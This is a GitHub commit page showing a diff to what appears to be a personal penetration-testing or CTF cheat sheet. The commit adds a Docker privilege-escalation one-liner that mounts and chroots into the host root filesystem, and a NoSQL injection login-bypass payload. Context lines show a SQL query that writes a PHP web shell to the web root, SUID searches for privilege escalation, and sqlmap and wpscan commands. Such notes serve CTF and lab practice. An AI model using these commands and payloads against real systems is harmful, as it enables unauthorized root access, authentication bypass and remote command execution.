Skip to content

Commit

Permalink
nosql and docker root added
Browse files Browse the repository at this point in the history
  • Loading branch information
leetcore committed Sep 22, 2022
1 parent b235e9c commit 410ecf1
Showing 1 changed file with 6 additions and 0 deletions.
6 changes: 6 additions & 0 deletions 1337_file.txt
Original file line number Diff line number Diff line change
Expand Up @@ -160,6 +160,9 @@ find / -perm -4000 2>/dev/null
From user to root (Privilege Escalation)
find / -perm +6000 2> /dev/null

# Docker (priv, escalation, root)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Read root files with error messages (unstable):
command_you_can_run --var-in-there="/root/flag.txt"

Expand Down Expand Up @@ -254,6 +257,9 @@ select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/she
Save full request with header and body in request.txt:
sqlmap -R request.txt --batch --random-refer

# nosql injection (SQL):
username=admin&password[$ne]=admin

# WPSCAN
enumerate plugins, themes etc
wpscan --url http://domain -e vp,dbe,cb
Expand Down

0 comments on commit 410ecf1

Please sign in to comment.